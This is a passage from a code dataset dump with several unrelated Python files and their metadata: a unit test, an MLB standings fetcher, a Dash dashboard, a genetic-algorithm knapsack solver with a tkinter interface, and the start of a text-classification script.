Local\nsys.path.append(os.getcwd())\nimport rmq_2_sysmon\nimport version\n\n__version__ = version.__version__\n\n\nclass UnitTest(unittest.TestCase):\n\n \"\"\"Class: UnitTest\n\n Description: Class which is a representation of a unit testing.\n\n Methods:\n setUp\n test_to_empty_line\n test_to_line\n tearDown\n\n \"\"\"\n\n def setUp(self):\n\n \"\"\"Function: setUp\n\n Description: Initialization for unit testing.\n\n Arguments:\n\n \"\"\"\n\n class CfgTest(object):\n\n \"\"\"Class: CfgTest\n\n Description: Class which is a representation of a cfg module.\n\n Methods:\n __init__ -> Initialize configuration environment.\n\n \"\"\"\n\n def __init__(self):\n\n \"\"\"Method: __init__\n\n Description: Initialization instance of the CfgTest class.\n\n Arguments:\n\n \"\"\"\n\n self.exchange = \"test_exchange\"\n self.to_line = \"\"\n self.message_dir = \"message_dir\"\n\n self.cfg = CfgTest()\n self.r_key = \"Routing Key\"\n self.data = \"Line\"\n self.subj = \"Test_Subject\"\n\n @mock.patch(\"rmq_2_sysmon.gen_class.Mail\")\n @mock.patch(\"rmq_2_sysmon.gen_libs.write_file\")\n @mock.patch(\"rmq_2_sysmon.gen_class.Logger\")\n def test_empty_to_line(self, mock_log, mock_write, mock_mail):\n\n \"\"\"Function: test_empty_to_line\n\n Description: Test non_proc_msg function with empty to line.\n\n Arguments:\n\n \"\"\"\n\n mock_log.return_value = True\n mock_write.return_value = True\n mock_mail.send_mail.return_value = True\n\n self.assertFalse(rmq_2_sysmon.non_proc_msg(\n self.cfg, mock_log, self.cfg, self.data, self.subj, self.r_key))\n\n @mock.patch(\"rmq_2_sysmon.gen_class.Mail\")\n @mock.patch(\"rmq_2_sysmon.gen_libs.write_file\")\n @mock.patch(\"rmq_2_sysmon.gen_class.Logger\")\n def test_to_line(self, mock_log, mock_write, mock_mail):\n\n \"\"\"Function: test_to_line\n\n Description: Test non_proc_msg function with valid to line.\n\n Arguments:\n\n \"\"\"\n\n mock_log.return_value = True\n mock_write.return_value = True\n mock_mail.send_mail.return_value = True\n\n self.cfg.to_line = \"Test_Email@email.domain\"\n\n self.assertFalse(rmq_2_sysmon.non_proc_msg(\n self.cfg, mock_log, self.cfg, self.data, self.subj, self.r_key))\n\n def tearDown(self):\n\n \"\"\"Function: tearDown\n\n Description: Clean up of unit testing.\n\n Arguments:\n\n \"\"\"\n\n self.cfg = None\n\n\nif __name__ == \"__main__\":\n unittest.main()\n", "sub_path": "test/unit/rmq_2_sysmon/non_proc_msg.py", "file_name": "non_proc_msg.py", "file_ext": "py", "file_size_in_byte": 3071, "program_lang": "python", "lang": "en", "doc_type": "code", "dataset": "code-starcoder2", "pt": "17", "api": [{"api_name": "sys.version_info", "line_number": 21, "usage_type": "attribute"}, {"api_name": "sys.path.append", "line_number": 30, "usage_type": "call"}, {"api_name": "sys.path", "line_number": 30, "usage_type": "attribute"}, {"api_name": "os.getcwd", "line_number": 30, "usage_type": "call"}, {"api_name": "version.__version__", "line_number": 34, "usage_type": "attribute"}, {"api_name": "unittest.TestCase", "line_number": 37, "usage_type": "attribute"}, {"api_name": "rmq_2_sysmon.non_proc_msg", "line_number": 108, "usage_type": "call"}, {"api_name": "mock.patch", "line_number": 91, "usage_type": "call"}, {"api_name": "mock.patch", "line_number": 92, "usage_type": "call"}, {"api_name": "mock.patch", "line_number": 93, "usage_type": "call"}, {"api_name": "rmq_2_sysmon.non_proc_msg", "line_number": 130, "usage_type": "call"}, {"api_name": "mock.patch", "line_number": 111, "usage_type": "call"}, {"api_name": "mock.patch", "line_number": 112, "usage_type": "call"}, {"api_name": "mock.patch", "line_number": 113, "usage_type": "call"}, {"api_name": "unittest.main", "line_number": 147, "usage_type": "call"}]} +{"seq_id": "274219140", "text": "#!/usr/bin/env python\n\n\"\"\"\nModule that is used for getting the MLB standings.\n\"\"\"\nfrom __future__ import print_function\n\nfrom datetime import datetime\nimport sys\nimport dateutil.parser\nimport requests\n\nclass Standings(object):\n \"\"\"Holds information about the league standings\n\n Properties:\n standings_url\n mlb_standings\n standings_json\n last_update\n \"\"\"\n DIVISIONS = {\n 'AL': {\n '201': 'AL East',\n '202': 'AL Central',\n '200': 'AL West',\n },\n 'NL': {\n '204': 'NL East',\n '205': 'NL Central',\n '203': 'NL West',\n }\n }\n\n def __init__(self, date=datetime.now()):\n now = datetime.now()\n if date.year == now.year and date.month == now.month and date.day == now.day:\n self.standings_url = 'http://mlb.mlb.com/lookup/json/named.standings_schedule_date.bam?season=%s&' \\\n 'schedule_game_date.game_date=%%27%s%%27&sit_code=%%27h0%%27&league_id=103&' \\\n 'league_id=104&all_star_sw=%%27N%%27&version=2' % (date.year, date.strftime('%Y/%m/%d'))\n self.standings_schedule_date = 'standings_schedule_date'\n else:\n self.standings_url = 'http://mlb.mlb.com/lookup/json/named.historical_standings_schedule_date.bam?season=%s&' \\\n 'game_date=%%27%s%%27&sit_code=%%27h0%%27&league_id=103&' \\\n 'league_id=104&all_star_sw=%%27N%%27&version=48' % (date.year, date.strftime('%Y/%m/%d'))\n self.standings_schedule_date = 'historical_standings_schedule_date'\n self.mlb_standings = []\n self.parse_standings()\n\n @property\n def standings_json(self):\n \"\"\"Return standings output as json\"\"\"\n try:\n return requests.get(self.standings_url).json()\n except requests.exceptions.RequestException as e:\n print(e)\n sys.exit(-1)\n\n @property\n def divisions(self):\n \"\"\"Return an array of Divison objects\"\"\"\n return self.mlb_standings\n\n @property\n def last_update(self):\n \"\"\"Return a dateutil object from string [last update]\n originally in ISO 8601 format: YYYY-mm-ddTHH:MM:SS\"\"\"\n last_update = self.standings_json[self.standings_schedule_date]['standings_all_date_rptr']['standings_all_date'][0]['queryResults']['created']\n return dateutil.parser.parse(last_update)\n\n def parse_standings(self):\n \"\"\"Parse the json standings\"\"\"\n sjson = self.standings_json[self.standings_schedule_date]['standings_all_date_rptr']['standings_all_date']\n for league in sjson:\n if league['league_id'] == '103':\n divisions = Standings.DIVISIONS['AL']\n elif league['league_id'] == '104':\n divisions = Standings.DIVISIONS['NL']\n else:\n # Raise Error\n try:\n raise UnknownLeagueID('An unknown `league_id` was passed from standings json.')\n except UnknownLeagueID as e:\n print('StandingsError: %s' % e)\n raise\n sys.exit(-1)\n\n for division in divisions:\n mlbdivision = []\n mlbdiv = type('Division', (object,), {'name': divisions[division]})\n teams = [team for team in league['queryResults']['row'] if team['division_id'] == division]\n for team in teams:\n mlbteam = type('Team', (object,), team)\n mlbdivision.append(mlbteam)\n setattr(mlbdiv, 'standings', mlbdivision)\n self.mlb_standings.append(mlbdiv)\n\n\nclass StandingsException(Exception):\n \"\"\"Standings Exceptions\"\"\"\n\n\nclass UnknownLeagueID(StandingsException):\n \"\"\"An unknown `league_id` was passed from standings json\"\"\"\n\n\n#\n# @meta_classes\n#\n\n#class Division(object):\n# \"\"\"Represents an MLB Division in the standings\n#\n# Properties:\n# name\n# teams\n# \"\"\"\n\n#class Team(object):\n# \"\"\"Represents an MLB team in the standings\"\"\"\n#\n# Properties:\n# streak\n# playoff_odds\n# elim\n# x_wl_seas\n# vs_right\n# gb\n# sit_code\n# home\n# last_ten\n# one_run\n# vs_division\n# playoff_points_sw\n# vs_left\n# is_wildcard_sw\n# vs_west\n# away\n# division_champ\n# pct\n# team_short\n# clinched_sw\n# playoffs_sw\n# playoffs_flag_mlb\n# division_id\n# division\n# interleague\n# playoffs_flag_milb\n# opp_runs\n# wild_card\n# elim_wildcard\n# x_wl\n# file_code\n# team_full\n# runs\n# wildcard_odds\n# vs_east\n# l\n# gb_wildcard\n# team_abbrev\n# points\n# place\n# w\n# division_odds\n# team_id\n# vs_central\n# extra_inn\n# \"\"\"\n", "sub_path": "mlbgame/standings.py", "file_name": "standings.py", "file_ext": "py", "file_size_in_byte": 4936, "program_lang": "python", "lang": "en", "doc_type": "code", "dataset": "code-starcoder2", "pt": "17", "api": [{"api_name": "datetime.datetime.now", "line_number": 35, "usage_type": "call"}, {"api_name": "datetime.datetime", "line_number": 35, "usage_type": "name"}, {"api_name": "datetime.datetime.now", "line_number": 36, "usage_type": "call"}, {"api_name": "datetime.datetime", "line_number": 36, "usage_type": "name"}, {"api_name": "requests.get", "line_number": 54, "usage_type": "call"}, {"api_name": "requests.exceptions", "line_number": 55, "usage_type": "attribute"}, {"api_name": "sys.exit", "line_number": 57, "usage_type": "call"}, {"api_name": "dateutil.parser.parser.parse", "line_number": 69, "usage_type": "call"}, {"api_name": "dateutil.parser.parser", "line_number": 69, "usage_type": "attribute"}, {"api_name": "dateutil.parser", "line_number": 69, "usage_type": "name"}, {"api_name": "sys.exit", "line_number": 86, "usage_type": "call"}]} +{"seq_id": "537380712", "text": "from collections import OrderedDict\nimport dash\nimport dash_core_components as dcc\nimport dash_html_components as html\nfrom boards.statistics_layout import statistics_layout, statistics_div_id\nfrom boards.prediction_layout import prediction_layout, prediction_div_id\nfrom boards.intro_layout import intro_layout, intro_div_id\nfrom setup import app, board_tab_id\nfrom boards import prediction_callback, statistics_callback\n\nboards = OrderedDict([\n (intro_div_id, intro_layout),\n (statistics_div_id, statistics_layout),\n (prediction_div_id, prediction_layout),\n])\n\nlayout_list = [\n html.H1(app.title, style=dict(textAlign=\"center\")),\n dcc.Tabs(\n id=board_tab_id,\n tabs=[{\"label\": i, \"value\": i} for i in boards.keys()],\n value=boards.keys()[0]\n ),\n html.Div(\n id=\"page-content\"\n )\n]\n\n\n@app.callback(\n dash.dependencies.Output('page-content', 'children'),\n [dash.dependencies.Input(board_tab_id, 'value')]\n)\ndef switch_board(board):\n return boards[board]\n\n\napp.layout = html.Div(layout_list)\napp.css.append_css({'external_url': 'https://codepen.io/chriddyp/pen/bWLwgP.css'})\nserver = app.server\n\nif __name__ == '__main__':\n app.run_server(debug=True)\n", "sub_path": "dashboard.py", "file_name": "dashboard.py", "file_ext": "py", "file_size_in_byte": 1212, "program_lang": "python", "lang": "en", "doc_type": "code", "dataset": "code-starcoder2", "pt": "17", "api": [{"api_name": "boards.statistics_layout", "line_number": 11, "usage_type": "name"}, {"api_name": "collections.OrderedDict", "line_number": 11, "usage_type": "call"}, {"api_name": "boards.intro_layout.intro_div_id", "line_number": 12, "usage_type": "name"}, {"api_name": "boards.intro_layout.intro_layout", "line_number": 12, "usage_type": "name"}, {"api_name": "boards.statistics_layout.statistics_div_id", "line_number": 13, "usage_type": "name"}, {"api_name": "boards.statistics_layout.statistics_layout", "line_number": 13, "usage_type": "name"}, {"api_name": "boards.prediction_layout.prediction_div_id", "line_number": 14, "usage_type": "name"}, {"api_name": "boards.prediction_layout.prediction_layout", "line_number": 14, "usage_type": "name"}, {"api_name": "dash_html_components.H1", "line_number": 18, "usage_type": "call"}, {"api_name": "setup.app.title", "line_number": 18, "usage_type": "attribute"}, {"api_name": "setup.app", "line_number": 18, "usage_type": "name"}, {"api_name": "dash_core_components.Tabs", "line_number": 19, "usage_type": "call"}, {"api_name": "setup.board_tab_id", "line_number": 20, "usage_type": "name"}, {"api_name": "boards.statistics_layout.keys", "line_number": 21, "usage_type": "call"}, {"api_name": "boards.statistics_layout", "line_number": 21, "usage_type": "name"}, {"api_name": "boards.statistics_layout.keys", "line_number": 22, "usage_type": "call"}, {"api_name": "boards.statistics_layout", "line_number": 22, "usage_type": "name"}, {"api_name": "dash_html_components.Div", "line_number": 24, "usage_type": "call"}, {"api_name": "boards.statistics_layout", "line_number": 35, "usage_type": "name"}, {"api_name": "setup.app.callback", "line_number": 30, "usage_type": "call"}, {"api_name": "setup.app", "line_number": 30, "usage_type": "name"}, {"api_name": "dash.dependencies.Output", "line_number": 31, "usage_type": "call"}, {"api_name": "dash.dependencies", "line_number": 31, "usage_type": "attribute"}, {"api_name": "dash.dependencies.Input", "line_number": 32, "usage_type": "call"}, {"api_name": "setup.board_tab_id", "line_number": 32, "usage_type": "argument"}, {"api_name": "dash.dependencies", "line_number": 32, "usage_type": "attribute"}, {"api_name": "setup.app.layout", "line_number": 38, "usage_type": "attribute"}, {"api_name": "setup.app", "line_number": 38, "usage_type": "name"}, {"api_name": "dash_html_components.Div", "line_number": 38, "usage_type": "call"}, {"api_name": "setup.app.css.append_css", "line_number": 39, "usage_type": "call"}, {"api_name": "setup.app.css", "line_number": 39, "usage_type": "attribute"}, {"api_name": "setup.app", "line_number": 39, "usage_type": "name"}, {"api_name": "setup.app.server", "line_number": 40, "usage_type": "attribute"}, {"api_name": "setup.app", "line_number": 40, "usage_type": "name"}, {"api_name": "setup.app.run_server", "line_number": 43, "usage_type": "call"}, {"api_name": "setup.app", "line_number": 43, "usage_type": "name"}]} +{"seq_id": "465884258", "text": "import pygubu\nimport random\nimport numpy as np\nimport tkinter as tk \nimport matplotlib.pyplot as plt\nfrom tkinter import messagebox as msg\nimport time;\n\nclass Application:\n def __init__(self, master):\n\n #1: Create a builder\n self.builder = builder = pygubu.Builder()\n\n #2: Load an ui file\n builder.add_from_file('UI.ui')\n\n #3: Create the widget using a master as parent\n self.mainwindow = builder.get_object('AG', master)\n \n builder.connect_callbacks(self)\n\n def start(self):\n size_chromosome = int(self.builder.get_variable('size_knapsack').get())\n main_weight = int(self.builder.get_variable('main_weight').get())\n amoun_population = int(self.builder.get_variable('amount_population').get()) \n amount_generation = int(self.builder.get_variable('amount_generation').get()) \n\n if(self.get_values_main(size_chromosome, main_weight, amoun_population)):\n msg.showerror(\"Error\", \"Valores faltantes\")\n else:\n if(main_weight >= 300 ):\n self.start_generic_algorithms(size_chromosome, main_weight, amoun_population, amount_generation)\n else:\n msg.showwarning(\"Warning\",\"Ingresa una cantidad mayor a 100\")\n\n def get_values_main(self, size_chromosome, main_weight, amoun_population):\n if(size_chromosome == 0 or main_weight == 0 or amoun_population == 0):\n return True\n else:\n return False\n\n def create_population(self, size_chromosome, main_weight):\n return np.random.randint(low=10, high=main_weight-100, size=size_chromosome)\n\n def create_individuals(self, size_chromosome, amoun_population):\n flag, exit_zero = True, False\n array = []\n while (flag):\n array = np.random.randint(2, size=(amoun_population, size_chromosome))\n exit_zero = False\n for i in range(len(array)):\n sum_array = sum(array[i])\n if(sum_array == 0):\n exit_zero = True\n if(exit_zero):\n flag = True\n else:\n flag = False\n \n return array\n\n def get_individuals_converted(self, population, individuals):\n amount_indivuals = len(individuals)\n lenght_population = len(population)\n individuals_converted_list = []\n\n for i in range(amount_indivuals):\n individual_converted = []\n for j in range(lenght_population):\n # print('ALL GENE: {}'.format(individuals))\n # print('\\n')\n # print('ALL-GENE-2: {}'.format(individuals[i]))\n # print('\\n')\n gen = individuals[i][j]\n # print('Gen: {} \\n'.format(gen))\n if(gen == 1):\n individual_converted.append(population[j])\n individuals_converted_list.append(( individuals[i], individual_converted ))\n return individuals_converted_list\n \n def start_generic_algorithms(self, size_chromosome, main_weight, amoun_population, amount_generation = 100):\n flag, generation, i = True, 0, 0\n list_fitness, list_fiteness_wrong, list_fitness_mean = [], [], []\n #Initial population\n population = self.create_population(size_chromosome, main_weight)\n\n \n individuals = self.create_individuals(size_chromosome, amoun_population)\n\n while(flag and (i < amount_generation)):\n i += 1\n #Fitness function\n individuals = self.get_individuals_converted(population, individuals)\n individuals = self.get_fitness(individuals, main_weight, sum(population))\n individuals.sort(key = lambda x: x[1], reverse=True) \n\n # print('Indivuals')\n # # self.print_indivuals(individuals)\n # print(individuals)\n # print('\\n\\n')\n\n #Crossover\n children = self.crossover(individuals)\n\n print('\\n\\nHijos')\n print(children)\n\n #Mutacion\n children = self.mutacion(children, 0.8, 0.8)\n \n # print('\\n\\nHijos-mutados')\n # print(children)\n\n children = self.get_individuals_converted(population, children)\n children = self.get_fitness(children, main_weight, sum(population))\n\n # print('Hijos con fitness')\n # # self.print_indivuals(children)\n # print(children)\n # print('\\n\\n')\n\n individuals = individuals + children\n\n individuals.sort(key = lambda x: x[1], reverse=True) \n aux_individuals = list(map(lambda x: x[1], individuals))\n\n\n # print('Max: {}'.format(max(aux_individuals)))\n # print('Min: {}'.format(min(aux_individuals)))\n # print('Promedio: {}'.format(sum(aux_individuals)/len(aux_individuals)))\n \n \n individuals = individuals[:10]\n generation += 1\n list_fitness.append(max(aux_individuals))\n list_fiteness_wrong.append(min(aux_individuals))\n list_fitness_mean.append(sum(aux_individuals)/len(aux_individuals))\n\n\n if(max(aux_individuals) >= 0.8):\n flag = False\n else:\n individuals = list(map(lambda x: x[0], individuals))\n\n # print('\\nPoblacion con fitness-ordenados')\n # # self.print_indivuals(individuals)\n # print(individuals)\n\n print('M: {}'.format(len(list_fitness)))\n print('m: {}'.format(len(list_fiteness_wrong)))\n print('X: {}'.format(len(list_fitness_mean)))\n\n print('Better fitness: {}'.format(max(list_fitness)))\n print('Generacions: {}'.format(generation))\n print('s: {}'.format(len(list_fitness)))\n print('Termine')\n # self.draw_chart(list_fitness, generation)\n self.draw_chart_all(list_fitness_mean, list_fitness, list_fiteness_wrong, generation)\n def get_fitness(self, indivuals, main_weight, sum_population):\n amount_indivuals = len(indivuals)\n individuals_fitness = []\n for i in range(amount_indivuals):\n sum_indivuals = sum(indivuals[i][1])\n if(sum_indivuals <= main_weight):\n fitness = 1 - (((main_weight - sum_indivuals) / main_weight)**0.5)\n else:\n dividend = sum_indivuals - main_weight\n divisor = max(main_weight, (sum_population - main_weight))\n quotient = ((dividend / divisor) ** 0.0625)\n fitness = 1 - quotient \n\n # individuals_fitness.append((indivuals[i][0], indivuals[i][1], fitness))\n individuals_fitness.append((indivuals[i][0], fitness))\n return individuals_fitness\n \n def crossover(self, list_individuals):\n LENGTH_LIST = len(list_individuals)\n children = []\n\n for i in range (LENGTH_LIST-1):\n binaries_father, fitness_father = list_individuals[i]\n\n j = i + 1\n\n while j < LENGTH_LIST:\n probability_random = random.random()\n if(fitness_father > probability_random):\n # print('\\nApareamiento')\n binaries_mother, fitness_mother = list_individuals[j]\n # print('P_f:{} , F_f: {}'.format(binaries_father, fitness_father))\n # print('P_m:{} , F_m: {}'.format(binaries_mother, fitness_mother))\n first_children, second_children = self.get_children(binaries_father, binaries_mother)\n children.append(first_children); children.append(second_children)\n\n j += 1\n\n return children\n\n def get_children(self, binarie_father, binarie_mother):\n first_children, second_children, counter, i = [], [], 0, 0\n list_point_crossover = self.get_point_crossover(len(binarie_father))\n leght_size_pc = len(list_point_crossover) + 1\n\n while i < leght_size_pc:\n j = 0\n if(i == ( leght_size_pc - 1 )):\n part_father, part_mother = binarie_father[counter:], binarie_mother[counter:]\n j = 1\n else:\n jump = counter + list_point_crossover[i]\n part_father, part_mother = binarie_father[counter:jump], binarie_mother[counter:jump]\n \n counter = counter + list_point_crossover[i - j]\n\n # print('c1: {}, c2: {}'.format(part_father, part_mother))\n\n if(((i+1) % 2) != 0):\n # first_children, second_children = first_children + self.convert(part_father), second_children + self.convert(part_mother) \n # first_children += part_father; second_children += part_mother\n first_children = np.append(first_children, part_father); second_children = np.append(second_children, part_mother)\n if(((i+1) % 2) == 0):\n # first_children, second_children = first_children + self.convert(part_mother), second_children + self.convert(part_father) \n # first_children += part_mother; second_children += part_father\n first_children = np.append(first_children, part_mother); second_children = np.append(second_children, part_father)\n i = i + 1\n\n # print(\"Hijos:\")\n # print('uno: {}, dos: {} '.format(first_children, second_children))\n\n return first_children, second_children\n\n def get_point_crossover(self, AMOUNT_CROMOSOMA):\n amount_point_crossover, counter_cut, i = random.randint(1, 5), 0, 0\n\n list_point_crossover = []\n\n while i < amount_point_crossover:\n length_cut = random.randint(3, AMOUNT_CROMOSOMA-10)\n # print('Lenght_cut: {}'.format(length_cut))\n counter_cut = counter_cut + length_cut\n difference = AMOUNT_CROMOSOMA - counter_cut\n\n if(difference > 0 and i < amount_point_crossover):\n list_point_crossover.append(length_cut)\n else:\n i = amount_point_crossover\n \n i = i + 1\n\n # print('# cruzes: {}'.format(amount_point_crossover))\n # print('Cantidad de cruza: {}'.format(list_point_crossover))\n\n return list_point_crossover\n\n def mutacion(self, _lista_hijos_binarios, probabilidad_mutar_individuo, probabilidad_mutar_gen):\n lista_hijos_binarios, TAMANIO_LISTA_HIJOS, lista_hijos_binarios_mutados = np.copy(_lista_hijos_binarios), len(_lista_hijos_binarios), []\n\n for i in range(TAMANIO_LISTA_HIJOS):\n random_probabilidad_mutacion = random.random()\n if(probabilidad_mutar_individuo > random_probabilidad_mutacion):\n #print(\"Hm: {}\".format(lista_hijos_binarios[i]))\n list_individuo = list(map(lambda individuo: self.mutar_gen(individuo, probabilidad_mutar_gen), lista_hijos_binarios[i]))\n # print('LHC: {}'.format(list_individuo))\n list_individuo = ''.join(str(individuo) for individuo in list_individuo)\n list_individuo = list(map(int, list_individuo))\n lista_hijos_binarios_mutados.append(np.asarray(list_individuo))\n #print('LHC: {}'.format(lista_hijos_binarios_mutados))\n else:\n list_individuo = list(map(int, lista_hijos_binarios[i]))\n lista_hijos_binarios_mutados.append(np.asarray(list_individuo))\n\n #print(\"Mutados: {}\".format(lista_hijos_binarios_mutados))\n\n return lista_hijos_binarios_mutados\n \n def mutar_gen(self, individuo, probabilidad_mutar_gen):\n random_probabilidad = random.random()\n #print('Individuo:{}'.format(individuo))\n #print(\"PG:{}, RP:{}\".format(probabilidad_mutar_gen, random_probabilidad))\n individuo = int(individuo)\n if(probabilidad_mutar_gen > random_probabilidad):\n if individuo == 0:\n #print(\"Ahora es: 1\")\n return 1\n else: \n #print(\"Ahora es: 0\")\n return 0\n #print(\"Lo mismo: {}\".fomat(individuo))\n return individuo \n\n def mutation(self, least_value, indivuals):\n \n # print('\\n\\nIndivuals actuales')\n # print(indivuals)\n\n for i in range(len(least_value)):\n if(random.random() > 0.6):\n if(least_value[i] == 0):\n least_value[i] = 1\n else:\n least_value[i] = 0\n\n for i in range(len(indivuals)):\n for j in range(len(least_value)):\n if(random.random() > 0.5):\n if(indivuals[i][j] == 0):\n indivuals[i][j] = 1\n else:\n indivuals[i][j] = 0\n\n indivuals.append(least_value)\n\n return indivuals\n\n def print_indivuals(self, indivuals):\n length_indivuals = len(indivuals)\n for i in range(length_indivuals):\n binaries, fitness = indivuals[i]\n # print('P:{}, F: {}'.format(binaries, fitness))\n\n def draw_chart(self, list_fitness, amount_generation):\n amount_generation = len(list_fitness)\n list_generation = []\n\n for i in range(amount_generation):\n list_generation.append(i+1)\n\n value_min = min(list_fitness)\n value_max = max(list_fitness)\n\n fig = plt.figure()\n ax = fig.add_subplot(111)\n plt.title('Valor de la media')\n plt.xlabel('Generaciones')\n plt.ylabel('Fitness')\n ax.set_ylim(bottom=value_min, top=value_max)\n plt.plot(list_generation, list_fitness, 'go-')\n plt.legend(loc='upper left')\n plt.show()\n\n def draw_chart_all(self, list_media, list_media_mejor, list_media_peor, CANTIDAD_GENERACIONES):\n lista_generaciones = []\n\n #print('Cantidad:{}, CANTIDAD_MEDIA: {} '.format(CANTIDAD_GENERACIONES, CANTIDAD_MEDIA))\n\n for i in range(CANTIDAD_GENERACIONES):\n lista_generaciones.append(i+1)\n\n print('CG: {}'.format(lista_generaciones))\n\n #print('Min: {}'.format(min(list_media_mejor + list_media_peor + list_media)))\n #print('Max: {}'.format(max(list_media_mejor + list_media_peor + list_media)))\n\n valor_minimo = min(list_media_peor)\n valor_maximo = max(list_media_mejor)\n\n fig = plt.figure()\n ax = fig.add_subplot(111)\n plt.title('Valor de la media')\n plt.xlabel('Generaciones')\n plt.ylabel('Fitness')\n ax.set_ylim(bottom=valor_minimo, top=valor_maximo)\n plt.plot(lista_generaciones, list_media_peor, 'ro-', label='Peores individuos')\n plt.plot(lista_generaciones, list_media_mejor, 'go-', label='Mejores individuos')\n plt.plot(lista_generaciones, list_media,'bo-', label='Promedios individuos')\n plt.legend(loc='upper left')\n plt.show()\n\nif __name__ == '__main__':\n root = tk.Tk()\n app = Application(root)\n root.mainloop()", "sub_path": "main_2.py", "file_name": "main_2.py", "file_ext": "py", "file_size_in_byte": 15019, "program_lang": "python", "lang": "en", "doc_type": "code", "dataset": "code-starcoder2", "pt": "17", "api": [{"api_name": "pygubu.Builder", "line_number": 13, "usage_type": "call"}, {"api_name": "tkinter.messagebox.showerror", "line_number": 30, "usage_type": "call"}, {"api_name": "tkinter.messagebox", "line_number": 30, "usage_type": "name"}, {"api_name": "tkinter.messagebox.showwarning", "line_number": 35, "usage_type": "call"}, {"api_name": "tkinter.messagebox", "line_number": 35, "usage_type": "name"}, {"api_name": "numpy.random.randint", "line_number": 44, "usage_type": "call"}, {"api_name": "numpy.random", "line_number": 44, "usage_type": "attribute"}, {"api_name": "numpy.random.randint", "line_number": 50, "usage_type": "call"}, {"api_name": "numpy.random", "line_number": 50, "usage_type": "attribute"}, {"api_name": "random.random", "line_number": 187, "usage_type": "call"}, {"api_name": "numpy.append", "line_number": 221, "usage_type": "call"}, {"api_name": "numpy.append", "line_number": 225, "usage_type": "call"}, {"api_name": "random.randint", "line_number": 234, "usage_type": "call"}, {"api_name": "random.randint", "line_number": 239, "usage_type": "call"}, {"api_name": "numpy.copy", "line_number": 257, "usage_type": "call"}, {"api_name": "random.random", "line_number": 260, "usage_type": "call"}, {"api_name": "numpy.asarray", "line_number": 267, "usage_type": "call"}, {"api_name": "numpy.asarray", "line_number": 271, "usage_type": "call"}, {"api_name": "random.random", "line_number": 278, "usage_type": "call"}, {"api_name": "random.random", "line_number": 298, "usage_type": "call"}, {"api_name": "random.random", "line_number": 306, "usage_type": "call"}, {"api_name": "matplotlib.pyplot.figure", "line_number": 332, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 332, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.title", "line_number": 334, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 334, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.xlabel", "line_number": 335, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 335, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.ylabel", "line_number": 336, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 336, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.plot", "line_number": 338, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 338, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.legend", "line_number": 339, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 339, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.show", "line_number": 340, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 340, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.figure", "line_number": 358, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 358, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.title", "line_number": 360, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 360, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.xlabel", "line_number": 361, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 361, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.ylabel", "line_number": 362, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 362, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.plot", "line_number": 364, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 364, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.plot", "line_number": 365, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 365, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.plot", "line_number": 366, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 366, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.legend", "line_number": 367, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 367, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.show", "line_number": 368, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 368, "usage_type": "name"}, {"api_name": "tkinter.Tk", "line_number": 371, "usage_type": "call"}]} +{"seq_id": "13080419", "text": "import pandas as pd\nimport japanize_matplotlib\n\nimport query\n\nfrom modules.db.connect_mysql import MySQL\nfrom modules.analysis.train import Train\nfrom modules.word_processing.tfidf_vector import TfidfVector\nfrom modules.word_processing.count_vector import CountVector\nfrom modules.word_processing.stop_words import get_all_stopwords\n\nimport settings\n\nTARGET = 'news_type'\nGET_COMMENT_1 = query.get_comment_soft\nGET_COMMENT_0 = query.get_comment_hard\n\n\ndef get_data(words_num=None):\n # load text data of mysql\n mysql = MySQL(config=settings.db_config)\n df_comment_keyaki = mysql.select_to_df(query=GET_COMMENT_1)\n df_comment_abema = mysql.select_to_df(query=GET_COMMENT_0)\n\n # merge text data\n df_comment_merge = pd.concat([df_comment_keyaki, df_comment_abema], axis=0)\n df_comment_merge.reset_index(inplace=True, drop=True)\n\n # text data changes vector data\n count_vector = CountVector(texts=df_comment_merge['comment_text'],\n dict_path=settings.path.get('neologd_file_path'),\n max_df=1.0,\n min_df=1,\n stop_words=get_all_stopwords(),\n target_categories=['名詞', '動詞', '形容詞'])\n df_count_vector = count_vector.get_sort_vector()\n\n # vector data add target data\n if words_num is None:\n df_vector_with_target = pd.concat([df_count_vector, df_comment_merge[TARGET]], axis=1)\n else:\n df_vector_with_target = pd.concat([df_count_vector.iloc[:, :words_num], df_comment_merge[TARGET]], axis=1)\n\n return df_vector_with_target\n\n\ndef main():\n df_dataset = get_data(words_num=1000)\n train = Train(df=df_dataset, target=TARGET)\n train.fit(coef=True, n_trials=100)\n\n\nif __name__ == '__main__':\n main()\n", "sub_path": "src/__coef__.py", "file_name": "__coef__.py", "file_ext": "py", "file_size_in_byte": 1816, "program_lang": "python", "lang": "en", "doc_type": "code", "dataset": "code-starcoder2", "pt": "17", "api": [{"api_name": "query.get_comment_soft", "line_number": 15, "usage_type": "attribute"}, {"api_name": "query.get_comment_hard", "line_number": 16, "usage_type": "attribute"}, {"api_name": 